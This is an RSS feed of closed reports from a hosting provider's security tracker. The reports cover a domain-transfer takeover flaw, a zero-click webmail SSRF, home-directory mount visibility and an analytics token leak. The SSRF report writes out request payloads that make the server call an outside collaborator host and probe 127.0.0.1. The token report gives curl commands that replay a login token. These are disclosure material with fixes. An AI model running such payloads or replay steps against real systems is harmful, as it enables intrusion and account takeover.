<?xml version="1.0" ?>
<rdf:RDF xmlns:dc="http://purl.org/dc/elements/1.1/" 
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" 
  xmlns="http://purl.org/rss/1.0/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel rdf:about="https://security.alwaysdata.com/">
    <title>alwaysdata </title>
    <link>https://security.alwaysdata.com/</link>
    <description>alwaysdata Security vulnerabilities: Recently closed tasks</description>
    <dc:date>2026-03-30T16:06:56Z</dc:date>
    <items>
      <rdf:Seq>
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/239" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/307" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/313" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/311" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/312" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/310" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/309" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/308" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/304" />
                <rdf:li rdf:resource="https://security.alwaysdata.com/task/306" />
              </rdf:Seq>
    </items>
    		
  </channel>
    <item rdf:about="https://security.alwaysdata.com/task/239">
    <title>FS#239: Logical Flaw Allowing Full Domain Takeover via Pending Transfer Invitation</title>
    <link>https://security.alwaysdata.com/task/239</link>
    <dc:date>2026-03-30T16:06:56Z</dc:date>
    <dc:creator>Mustafa Hassan</dc:creator>
     <description>

 Description



There is a logical flaw in the domain transfer system within the AlwaysData platform. Creating a Mailing List and then creating a User with Administrator privileges within the domain before sending a transfer invitation causes the transfer invitation to remain pending even after it has been accepted and the domain has actually been transferred.



This flaw allows the attacker account (B) to retain an active transfer invitation that can be used later to take over the domain from any other account that received the domain (victim C).Consequently, the attacker can regain full control of the domain even though they are no longer the owner, resulting in complete control over:



Email accounts



Mailing Lists



DNS settings



Users and permissions



Any data created by the victim



 This represents a critical flaw in ownership control.



 —



Steps to Reproduce



1. Setup (Account A)



1. Create a new Domain in your account A.



 2. Within the domain:



Create a Mailing List.



Create a User and grant Administrator privileges.(This step is the primary cause of the flaw.)



 3. After that, send a domain transfer invitation to your second account B.



 —



2. First Transfer (A → B)



4. From account B:



Accept the transfer invitation.



 5. The domain is transferred to B normally,but the original invitation remains pending in account B despite the transfer being accepted.



 —



3. Second Transfer (B → C “Victim”)



6. From account B (which still holds the pending invitation):



Send a transfer invitation to the victim account C.



 7. From the victim account C:



Accept the invitation.



 8. The victim starts using the domain normally (emails, mailing lists, DNS settings…).



 —



4. Final Takeover (from Account B)



9. Return to account B.



You will find that the old transfer invitation is still pending acceptance.



 10. Accept the pending invitation.



 11. The domain fully returns to account B with all victim data and content, without any notification or additional permission.



POC: https://admin.alwaysdata.com/support/90473/



 —



Impact



Full domain takeover.



Access to all existing email accounts.



Control over victim’s email-related accounts and mailing lists.



Full unauthorized access.



Highly critical (Critical).



 Proposed Classification:



Severity: Critical – P1



Vulnerability Type: Logic Flaw + Broken Access Control



 —



Suggested Fixes



1. Automatically cancel any pending transfer invitations once the domain transfer is accepted.



 2. Enforce a single active transfer state, preventing more than one pending invitation for the same domain at a time.

</description>
    <content:encoded><![CDATA[
<p>
 Description
</p>

<p>
There is a logical flaw in the domain transfer system within the AlwaysData platform. Creating a Mailing List and then creating a User with Administrator privileges within the domain before sending a transfer invitation causes the transfer invitation to remain pending even after it has been accepted and the domain has actually been transferred.
</p>

<p>
This flaw allows the attacker account (B) to retain an active transfer invitation that can be used later to take over the domain from any other account that received the domain (victim C).<br />Consequently, the attacker can regain full control of the domain even though they are no longer the owner, resulting in complete control over:
</p>

<p>
Email accounts
</p>

<p>
Mailing Lists
</p>

<p>
<acronym title="Domain Name Server">DNS</acronym> settings
</p>

<p>
Users and permissions
</p>

<p>
Any data created by the victim
</p>

<p>
 This represents a critical flaw in ownership control.
</p>

<p>
 —
</p>

<p>
Steps to Reproduce
</p>

<p>
1. Setup (Account A)
</p>

<p>
1. Create a new Domain in your account A.
</p>

<p>
 2. Within the domain:
</p>

<p>
Create a Mailing List.
</p>

<p>
Create a User and grant Administrator privileges.<br />(This step is the primary cause of the flaw.)
</p>

<p>
 3. After that, send a domain transfer invitation to your second account B.
</p>

<p>
 —
</p>

<p>
2. First Transfer (A → B)
</p>

<p>
4. From account B:
</p>

<p>
Accept the transfer invitation.
</p>

<p>
 5. The domain is transferred to B normally,<br />but the original invitation remains pending in account B despite the transfer being accepted.
</p>

<p>
 —
</p>

<p>
3. Second Transfer (B → C “Victim”)
</p>

<p>
6. From account B (which still holds the pending invitation):
</p>

<p>
Send a transfer invitation to the victim account C.
</p>

<p>
 7. From the victim account C:
</p>

<p>
Accept the invitation.
</p>

<p>
 8. The victim starts using the domain normally (emails, mailing lists, <acronym title="Domain Name Server">DNS</acronym> settings…).
</p>

<p>
 —
</p>

<p>
4. Final Takeover (from Account B)
</p>

<p>
9. Return to account B.
</p>

<p>
You will find that the old transfer invitation is still pending acceptance.
</p>

<p>
 10. Accept the pending invitation.
</p>

<p>
 11. The domain fully returns to account B with all victim data and content, without any notification or additional permission.
</p>

<p>
POC: <a href="https://admin.alwaysdata.com/support/90473/" class="urlextern" title="https://admin.alwaysdata.com/support/90473/"  rel="nofollow">https://admin.alwaysdata.com/support/90473/</a>
</p>

<p>
 —
</p>

<p>
Impact
</p>

<p>
Full domain takeover.
</p>

<p>
Access to all existing email accounts.
</p>

<p>
Control over victim’s email-related accounts and mailing lists.
</p>

<p>
Full unauthorized access.
</p>

<p>
Highly critical (Critical).
</p>

<p>
 Proposed Classification:
</p>

<p>
Severity: Critical – P1
</p>

<p>
Vulnerability Type: Logic Flaw + Broken Access Control
</p>

<p>
 —
</p>

<p>
Suggested Fixes
</p>

<p>
1. Automatically cancel any pending transfer invitations once the domain transfer is accepted.
</p>

<p>
 2. Enforce a single active transfer state, preventing more than one pending invitation for the same domain at a time.<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/307">
    <title>FS#307: Security Issue Report - SSRF in webmail.alwaysdata.com</title>
    <link>https://security.alwaysdata.com/task/307</link>
    <dc:date>2026-03-30T16:06:24Z</dc:date>
    <dc:creator>Anastasios Meletlidis</dc:creator>
     <description>

Dear alwaysdata security team,



While performing security research on alwaysdata services, i identified a Server-Side Request Forgery (SSRF) vulnerability at webmail.alwaysdata.com.



When i send an HTML email containing &amp;lt;link rel=&amp;quot;stylesheet&amp;quot;&amp;gt; tags to a webmail user, and they preview the message, your server fetches those URLs server-side using GuzzleHttp. i was able to confirm that this is a 0-click vulnerability by directly calling the preview endpoint with _safe=1 parameter, the SSRF triggers automatically without the user clicking “Allow remote resources”.



This allows an attacker to make your server issue HTTP requests to arbitrary URLs, including internal network resources. i was also able to confirm content exfiltration.Impact



An attacker can force the server to make HTTP requests to internal network services, perform port scanning, and potentially exfiltrate sensitive data from internal endpoints.Proof of Vulnerability



i set up a Burp Collaborator listener and sent an email with a malicious &amp;lt;link&amp;gt; tag pointing to my collaborator domain. When i previewed the email with _safe=1, i received an HTTP request from your server, this IP 185.31.40.185 belongs to alwaysdata infrastructure:



WHOIS Data:

inetnum:    185.31.40.0 - 185.31.43.255
netname:    FR-ALWAYSDATA-20130719
descr:      ALWAYSDATA SARL
country:    FR
org:        ORG-AS291-RIPE
ASN:        AS60362


 This confirms the HTTP request originated from your server, not from my browser.PoCStep 1: Send Malicious Email



POST /roundcube/?_task=mail&amp;amp;_action=send HTTP/2Host: webmail.alwaysdata.comContent-Type: application/x-www-form-urlencodedCookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=&amp;lt;AUTH_TOKEN&amp;gt;X-Roundcube-Request: M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9



_token=M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9&amp;amp;_task=mail&amp;amp;_action=send&amp;amp;_id=104032622669b7340a72208&amp;amp;_from=70213&amp;amp;_to=payload-life@alwaysdata.net&amp;amp;_subject=Test&amp;amp;_is_html=1&amp;amp;_message=%3C!DOCTYPE+html%3E%3Chtml%3E%3Chead%3E%0A%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Fm3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com%2Fssrf-poc.css%22%3E%0A%3C%2Fhead%3E%3Cbody%3ESSRF+Test%3C%2Fbody%3E%3C%2Fhtml%3E



Decoded email body:



&amp;lt;!DOCTYPE html&amp;gt;


&amp;lt;head&amp;gt;
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;http://m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com/ssrf-poc.css&amp;quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;SSRF Test&amp;lt;/body&amp;gt;



Step 2: Preview Email with _safe=1



GET /roundcube/?_task=mail&amp;amp;_framed=1&amp;amp;_uid=8&amp;amp;_mbox=INBOX&amp;amp;_safe=1&amp;amp;_action=preview HTTP/2Host: webmail.alwaysdata.comCookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=&amp;lt;AUTH_TOKEN&amp;gt;Accept: text/html



The _safe=1 parameter bypasses the “Allow remote resources” prompt. The response contains modcss links that trigger the SSRF.Step 3: Trigger SSRF via modcss



The preview response contains links like:



&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;./?_task=utils&amp;amp;_action=modcss&amp;amp;_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&amp;quot;&amp;gt;



When this modcss URL is fetched, the server makes the SSRF request:



GET /roundcube/?_task=utils&amp;amp;_action=modcss&amp;amp;_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&amp;amp;_c=message-htmlpart1&amp;amp;_p=v1 HTTP/2Host: webmail.alwaysdata.comCookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=&amp;lt;AUTH_TOKEN&amp;gt;Accept: text/css



This request causes the server to fetch the attacker’s URL server-side using GuzzleHttp.Step 4: Internal Enumeration (Optional)



To target internal services, use this email body:



&amp;lt;!DOCTYPE html&amp;gt;


&amp;lt;head&amp;gt;
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;http://127.0.0.1/&amp;quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;Internal enumeration&amp;lt;/body&amp;gt;



Steps to Reproduce 

  Login to webmail.alwaysdata.com with a valid account
  Generate a Collaborator payload or webhook
  Send an HTML email to yourself with a malicious &amp;lt;link&amp;gt; tag (see Step 1)
  Preview the email with _safe=1 parameter (see Step 2)
  Fetch the modcss URL from the preview response (see Step 3) - this triggers the SSRF
  Check your Collaborator for incoming HTTP requests from 185.31.40.185


 Results1. Collaborator Received HTTP Request from the Server



When i triggered the SSRF, my Collaborator received this request:



Timestamp:   2026-03-15T22:18:55.739ZClient IP:   185.31.40.185User-Agent:  GuzzleHttp/7Request:     GET /ssrf-poc.css HTTP/1.1Host:        m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com



If this was my browser making the request, the User-Agent would be Mozilla/5.0… and the IP would be my home IP. Instead, it’s GuzzleHttp/7 from 185.31.40.185.2. Content Exfiltration



When i send an email with a &amp;lt;link&amp;gt; tag pointing to a CSS file (e.g., the Roundcube skin CSS), the server fetches it and returns the full content:



Request:



GET /roundcube/?_task=utils&amp;amp;_action=modcss&amp;amp;_u=tmp-da2506570833332561f753a8e4264709.css&amp;amp;_c=message-htmlpart1&amp;amp;_p=v1 HTTP/2Host: webmail.alwaysdata.comCookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=&amp;lt;AUTH_TOKEN&amp;gt;Accept: text/css,*/*;q=0.1



Response:



HTTP/2 200 OKServer: nginxDate: Sun, 15 Mar 2026 23:08:11 GMTContent-Type: text/css;charset=UTF-8Via: 1.1 alproxy



#messagehtmlpart1 #v1filtersetslist td.v1name:before,#messagehtmlpart1 #v1filterslist td.v1name:before,#messagehtmlpart1 #v1identities-table td.v1mail:before,#messagehtmlpart1 #v1message-header .v1header-links a:before,… [truncated - full CSS content exfiltrated]



3. Internal Network is Reachable



When i target internal IPs like 127.0.0.1 or external Collaborator URLs, the server connects and returns “Invalid response” however requests are still being sent internally:



Request:



GET /roundcube/?_task=utils&amp;amp;_action=modcss&amp;amp;_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&amp;amp;_c=message-htmlpart1&amp;amp;_p=v1 HTTP/2Host: webmail.alwaysdata.comCookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=&amp;lt;AUTH_TOKEN&amp;gt;Accept: text/css,*/*;q=0.1



Response:



HTTP/2 404 Not FoundServer: nginxDate: Sun, 15 Mar 2026 23:08:25 GMTContent-Type: text/html; charset=UTF-8Via: 1.1 alproxy



Invalid response returned by server

</description>
    <content:encoded><![CDATA[
<p>
Dear alwaysdata security team,
</p>

<p>
While performing security research on alwaysdata services, i identified a Server-Side Request Forgery (SSRF) vulnerability at webmail.alwaysdata.com.
</p>

<p>
When i send an <acronym title="HyperText Markup Language">HTML</acronym> email containing &lt;link rel=&quot;stylesheet&quot;&gt; tags to a webmail user, and they preview the message, your server fetches those URLs server-side using GuzzleHttp. i was able to confirm that this is a 0-click vulnerability by directly calling the preview endpoint with _safe=1 parameter, the SSRF triggers automatically without the user clicking “Allow remote resources”.
</p>

<p>
This allows an attacker to make your server issue <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to arbitrary URLs, including internal network resources. i was also able to confirm content exfiltration.<br />Impact
</p>

<p>
An attacker can force the server to make <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to internal network services, perform port scanning, and potentially exfiltrate sensitive data from internal endpoints.<br />Proof of Vulnerability
</p>

<p>
i set up a Burp Collaborator listener and sent an email with a malicious &lt;link&gt; tag pointing to my collaborator domain. When i previewed the email with _safe=1, i received an <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request from your server, this IP 185.31.40.185 belongs to alwaysdata infrastructure:
</p>

<p>
WHOIS Data:
</p>
<pre class="code">inetnum:    185.31.40.0 - 185.31.43.255
netname:    FR-ALWAYSDATA-20130719
descr:      ALWAYSDATA SARL
country:    FR
org:        ORG-AS291-RIPE
ASN:        AS60362</pre>

<p>
 This confirms the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request originated from your server, not from my browser.<br />PoC<br />Step 1: Send Malicious Email
</p>

<p>
POST /roundcube/?_task=mail&amp;_action=send <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: webmail.alwaysdata.com<br />Content-Type: application/x-www-form-urlencoded<br />Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=&lt;AUTH_TOKEN&gt;<br />X-Roundcube-Request: M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9
</p>

<p>
_token=M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9&amp;_task=mail&amp;_action=send&amp;_id=104032622669b7340a72208&amp;_from=70213&amp;_to=payload-life@alwaysdata.net&amp;_subject=Test&amp;_is_html=1&amp;_message=%3C!DOCTYPE+html%3E%3Chtml%3E%3Chead%3E%0A%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Fm3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com%2Fssrf-poc.css%22%3E%0A%3C%2Fhead%3E%3Cbody%3ESSRF+Test%3C%2Fbody%3E%3C%2Fhtml%3E
</p>

<p>
Decoded email body:
</p>

<p>
&lt;!DOCTYPE html&gt;<br />
</p>
<pre class="file">
&lt;head&gt;
&lt;link rel=&quot;stylesheet&quot; href=&quot;http://m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com/ssrf-poc.css&quot;&gt;
&lt;/head&gt;
&lt;body&gt;SSRF Test&lt;/body&gt;
</pre>

<p>
Step 2: Preview Email with _safe=1
</p>

<p>
GET /roundcube/?_task=mail&amp;_framed=1&amp;_uid=8&amp;_mbox=INBOX&amp;_safe=1&amp;_action=preview <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: webmail.alwaysdata.com<br />Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=&lt;AUTH_TOKEN&gt;<br />Accept: text/html
</p>

<p>
The _safe=1 parameter bypasses the “Allow remote resources” prompt. The response contains modcss links that trigger the SSRF.<br />Step 3: Trigger SSRF via modcss
</p>

<p>
The preview response contains links like:
</p>

<p>
&lt;link rel=&quot;stylesheet&quot; href=&quot;./?_task=utils&amp;_action=modcss&amp;_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&quot;&gt;
</p>

<p>
When this modcss <acronym title="Uniform Resource Locator">URL</acronym> is fetched, the server makes the SSRF request:
</p>

<p>
GET /roundcube/?_task=utils&amp;_action=modcss&amp;_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&amp;_c=message-htmlpart1&amp;_p=v1 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: webmail.alwaysdata.com<br />Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=&lt;AUTH_TOKEN&gt;<br />Accept: text/css
</p>

<p>
This request causes the server to fetch the attacker’s <acronym title="Uniform Resource Locator">URL</acronym> server-side using GuzzleHttp.<br />Step 4: Internal Enumeration (Optional)
</p>

<p>
To target internal services, use this email body:
</p>

<p>
&lt;!DOCTYPE html&gt;<br />
</p>
<pre class="file">
&lt;head&gt;
&lt;link rel=&quot;stylesheet&quot; href=&quot;http://127.0.0.1/&quot;&gt;
&lt;/head&gt;
&lt;body&gt;Internal enumeration&lt;/body&gt;
</pre>

<p>
Steps to Reproduce 
</p>
<pre class="code">  Login to webmail.alwaysdata.com with a valid account
  Generate a Collaborator payload or webhook
  Send an HTML email to yourself with a malicious &lt;link&gt; tag (see Step 1)
  Preview the email with _safe=1 parameter (see Step 2)
  Fetch the modcss URL from the preview response (see Step 3) - this triggers the SSRF
  Check your Collaborator for incoming HTTP requests from 185.31.40.185</pre>

<p>
 Results<br />1. Collaborator Received <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Request from the Server
</p>

<p>
When i triggered the SSRF, my Collaborator received this request:
</p>

<p>
Timestamp:   2026-03-15T22:18:55.739Z<br />Client IP:   185.31.40.185<br />User-Agent:  GuzzleHttp/7<br />Request:     GET /ssrf-poc.css <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host:        m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com
</p>

<p>
If this was my browser making the request, the User-Agent would be Mozilla/5.0… and the IP would be my home IP. Instead, it’s GuzzleHttp/7 from 185.31.40.185.<br />2. Content Exfiltration
</p>

<p>
When i send an email with a &lt;link&gt; tag pointing to a <acronym title="Cascading Style Sheets">CSS</acronym> file (e.g., the Roundcube skin <acronym title="Cascading Style Sheets">CSS</acronym>), the server fetches it and returns the full content:
</p>

<p>
Request:
</p>

<p>
GET /roundcube/?_task=utils&amp;_action=modcss&amp;_u=tmp-da2506570833332561f753a8e4264709.css&amp;_c=message-htmlpart1&amp;_p=v1 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: webmail.alwaysdata.com<br />Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=&lt;AUTH_TOKEN&gt;<br />Accept: text/css,*/*;q=0.1
</p>

<p>
Response:
</p>

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 200 OK<br />Server: nginx<br />Date: Sun, 15 Mar 2026 23:08:11 GMT<br />Content-Type: text/css;charset=UTF-8<br />Via: 1.1 alproxy
</p>

<p>
#messagehtmlpart1 #v1filtersetslist td.v1name:before,<br />#messagehtmlpart1 #v1filterslist td.v1name:before,<br />#messagehtmlpart1 #v1identities-table td.v1mail:before,<br />#messagehtmlpart1 #v1message-header .v1header-links a:before,<br />… [truncated - full <acronym title="Cascading Style Sheets">CSS</acronym> content exfiltrated]
</p>

<p>
3. Internal Network is Reachable
</p>

<p>
When i target internal IPs like 127.0.0.1 or external Collaborator URLs, the server connects and returns “Invalid response” however requests are still being sent internally:
</p>

<p>
Request:
</p>

<p>
GET /roundcube/?_task=utils&amp;_action=modcss&amp;_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&amp;_c=message-htmlpart1&amp;_p=v1 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: webmail.alwaysdata.com<br />Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=&lt;AUTH_TOKEN&gt;<br />Accept: text/css,*/*;q=0.1
</p>

<p>
Response:
</p>

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 404 Not Found<br />Server: nginx<br />Date: Sun, 15 Mar 2026 23:08:25 GMT<br />Content-Type: text/html; charset=UTF-8<br />Via: 1.1 alproxy
</p>

<p>
Invalid response returned by server
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/313">
    <title>FS#313: Potential information disclosure via shared /home mount visibility in SSH environment</title>
    <link>https://security.alwaysdata.com/task/313</link>
    <dc:date>2026-03-28T11:48:16Z</dc:date>
    <dc:creator>Ranjit</dc:creator>
     <description>

Summary:While using the SSH environment, I observed that the `df -h` command displays numerous mounted directories under /home that appear to belong to other users.



Description:After logging into my account via SSH and running `df -h`, I can see multiple mount points such as /home/&amp;lt;username&amp;gt; that are not associated with my account. These seem to correspond to other users hosted on the same infrastructure.



Steps to reproduce:1. Connect to the SSH environment2. Run: df -h3. Observe multiple /home/&amp;lt;user&amp;gt; mount points listed



Impact:This may allow user enumeration and reveals internal structure of the multi-tenant environment. While I did not attempt to access any other user data, the visibility of these mounts could potentially aid further attacks if combined with other vulnerabilities.



Notes:- No attempt was made to access, modify, or interact with other users’ data- This report is based on observation only- observed about ~450 users information was available



Request:Please confirm whether this behavior is expected and whether additional isolation measures are in place.

</description>
    <content:encoded><![CDATA[
<p>
Summary:<br />While using the <acronym title="Secure Shell">SSH</acronym> environment, I observed that the `df -h` command displays numerous mounted directories under /home that appear to belong to other users.
</p>

<p>
Description:<br />After logging into my account via <acronym title="Secure Shell">SSH</acronym> and running `df -h`, I can see multiple mount points such as /home/&lt;username&gt; that are not associated with my account. These seem to correspond to other users hosted on the same infrastructure.
</p>

<p>
Steps to reproduce:<br />1. Connect to the <acronym title="Secure Shell">SSH</acronym> environment<br />2. Run: df -h<br />3. Observe multiple /home/&lt;user&gt; mount points listed
</p>

<p>
Impact:<br />This may allow user enumeration and reveals internal structure of the multi-tenant environment. While I did not attempt to access any other user data, the visibility of these mounts could potentially aid further attacks if combined with other vulnerabilities.
</p>

<p>
Notes:<br />- No attempt was made to access, modify, or interact with other users’ data<br />- This report is based on observation only<br />- observed about ~450 users information was available
</p>

<p>
Request:<br />Please confirm whether this behavior is expected and whether additional isolation measures are in place.<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/311">
    <title>FS#311: Registration Auto-Login Token Leaked to Matomo Analytics - Replayable Account Takeover</title>
    <link>https://security.alwaysdata.com/task/311</link>
    <dc:date>2026-03-23T11:53:24Z</dc:date>
    <dc:creator>Dominik Hajczuk</dc:creator>
     <description>

## Summary



When a new user registers at www.alwaysdata.com/fr/inscription/, the server issues a redirect to:https://admin.alwaysdata.com/login/?user_id={ID}&amp;amp;expiration={TS}&amp;amp;token={HMAC}



This auto-login URL contains a full authentication token in the query string. The admin panel embeds Matomo analytics (tracker.alwaysdata.com, site ID 5) which calls trackPageView(), sending the complete URL — including the authentication token — to the Matomo analytics server. The token is replayable within a ~10-minute window.



## Severity: Medium (CVSS 5.3)CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:NCWE-598: Use of GET Request Method With Sensitive Query Strings



## Steps to Reproduce



### 1. Register a new accountNavigate to https://www.alwaysdata.com/fr/inscription/ and create a new account.



### 2. Observe the redirect URL with tokenThe response is a 302 redirect to:Location: https://admin.alwaysdata.com/login/?user_id=447830&amp;amp;expiration=1773913147&amp;amp;token=1773912547-4daaa78c707abdeb31fb



### 3. Verify Matomo tracking on the landing pagecurl -s &amp;#039;https://admin.alwaysdata.com/login/&amp;#039; | grep -A5 &amp;#039;Matomo&amp;#039;



The page contains:var _paq = window._paq = window._paq || [];_paq.push([&amp;#039;trackPageView&amp;#039;]);  // Sends full document.location.href including token_paq.push([&amp;#039;setSiteId&amp;#039;, &amp;#039;5&amp;#039;]);_paq.push([&amp;#039;setTrackerUrl&amp;#039;, u+&amp;#039;matomo.php&amp;#039;]);



### 4. Verify token replaycurl -c replay-cookies.txt &amp;#039;https://admin.alwaysdata.com/login/?user_id=447830&amp;amp;expiration=1773913147&amp;amp;token=1773912547-4daaa78c707abdeb31fb&amp;#039;A valid session cookie (sessionid) is set when token is within expiration window.



## Attack Scenario



1. Attacker compromises the Matomo analytics database2. Queries for page views matching /login/?user_id=*&amp;amp;token=*3. Filters for tokens with expiration timestamps in the future4. Replays auto-login URLs to hijack newly-registered accounts



## Impact



- Account takeover: Any valid auto-login token can be replayed- Token leakage: Matomo logs, analytics DB, browser history, browser extensions- Scale: Affects every new registration on the platform



## Limitations



- Token has ~10-minute expiration window- Exploitation requires access to Matomo database or server logs



## Remediation



1. Use POST-based auto-login instead of GET parameters with tokens in URL 2. Strip sensitive query parameters before Matomo tracking: _paq.push([&amp;#039;setCustomUrl&amp;#039;, window.location.pathname]);3. Implement single-use tokens invalidated after first use

</description>
    <content:encoded><![CDATA[
<p>
## Summary
</p>

<p>
When a new user registers at <a href="http://www.alwaysdata.com/fr/inscription/" class="urlextern" title="http://www.alwaysdata.com/fr/inscription/"  rel="nofollow">www.alwaysdata.com/fr/inscription/</a>, the server issues a redirect to:<br /><a href="https://admin.alwaysdata.com/login/?user_id=" class="urlextern" title="https://admin.alwaysdata.com/login/?user_id="  rel="nofollow">https://admin.alwaysdata.com/login/?user_id=</a>{ID}&amp;expiration={TS}&amp;token={HMAC}
</p>

<p>
This auto-login <acronym title="Uniform Resource Locator">URL</acronym> contains a full authentication token in the query string. The admin panel embeds Matomo analytics (tracker.alwaysdata.com, site ID 5) which calls trackPageView(), sending the complete <acronym title="Uniform Resource Locator">URL</acronym> — including the authentication token — to the Matomo analytics server. The token is replayable within a ~10-minute window.
</p>

<p>
## Severity: Medium (CVSS 5.3)<br />CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N<br />CWE-598: Use of GET Request Method With Sensitive Query Strings
</p>

<p>
## Steps to Reproduce
</p>

<p>
### 1. Register a new account<br />Navigate to <a href="https://www.alwaysdata.com/fr/inscription/" class="urlextern" title="https://www.alwaysdata.com/fr/inscription/"  rel="nofollow">https://www.alwaysdata.com/fr/inscription/</a> and create a new account.
</p>

<p>
### 2. Observe the redirect <acronym title="Uniform Resource Locator">URL</acronym> with token<br />The response is a 302 redirect to:<br />Location: <a href="https://admin.alwaysdata.com/login/?user_id=447830&amp;expiration=1773913147&amp;token=1773912547-4daaa78c707abdeb31fb" class="urlextern" title="https://admin.alwaysdata.com/login/?user_id=447830&amp;expiration=1773913147&amp;token=1773912547-4daaa78c707abdeb31fb"  rel="nofollow">https://admin.alwaysdata.com/login/?user_id=447830&amp;expiration=1773913147&amp;token=1773912547-4daaa78c707abdeb31fb</a>
</p>

<p>
### 3. Verify Matomo tracking on the landing page<br />curl -s &#039;<a href="https://admin.alwaysdata.com/login/" class="urlextern" title="https://admin.alwaysdata.com/login/"  rel="nofollow">https://admin.alwaysdata.com/login/</a>&#039; | grep -A5 &#039;Matomo&#039;
</p>

<p>
The page contains:<br />var _paq = window._paq = window._paq || [];<br />_paq.push([&#039;trackPageView&#039;]);  // Sends full document.location.href including token<br />_paq.push([&#039;setSiteId&#039;, &#039;5&#039;]);<br />_paq.push([&#039;setTrackerUrl&#039;, u+&#039;matomo.php&#039;]);
</p>

<p>
### 4. Verify token replay<br />curl -c replay-cookies.txt &#039;<a href="https://admin.alwaysdata.com/login/?user_id=447830&amp;expiration=1773913147&amp;token=1773912547-4daaa78c707abdeb31fb" class="urlextern" title="https://admin.alwaysdata.com/login/?user_id=447830&amp;expiration=1773913147&amp;token=1773912547-4daaa78c707abdeb31fb"  rel="nofollow">https://admin.alwaysdata.com/login/?user_id=447830&amp;expiration=1773913147&amp;token=1773912547-4daaa78c707abdeb31fb</a>&#039;<br />A valid session cookie (sessionid) is set when token is within expiration window.
</p>

<p>
## Attack Scenario
</p>

<p>
1. Attacker compromises the Matomo analytics database<br />2. Queries for page views matching /login/?user_id=*&amp;token=*<br />3. Filters for tokens with expiration timestamps in the future<br />4. Replays auto-login URLs to hijack newly-registered accounts
</p>

<p>
## Impact
</p>

<p>
- Account takeover: Any valid auto-login token can be replayed<br />- Token leakage: Matomo logs, analytics DB, browser history, browser extensions<br />- Scale: Affects every new registration on the platform
</p>

<p>
## Limitations
</p>

<p>
- Token has ~10-minute expiration window<br />- Exploitation requires access to Matomo database or server logs
</p>

<p>
## Remediation
</p>

<p>
1. Use POST-based auto-login instead of GET parameters with tokens in <acronym title="Uniform Resource Locator">URL</acronym> 2. Strip sensitive query parameters before Matomo tracking: _paq.push([&#039;setCustomUrl&#039;, window.location.pathname]);<br />3. Implement single-use tokens invalidated after first use<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/312">
    <title>FS#312: 25 JavaScript Source Maps Publicly Accessible - 410K+ Chars Admin Panel Source Exposed</title>
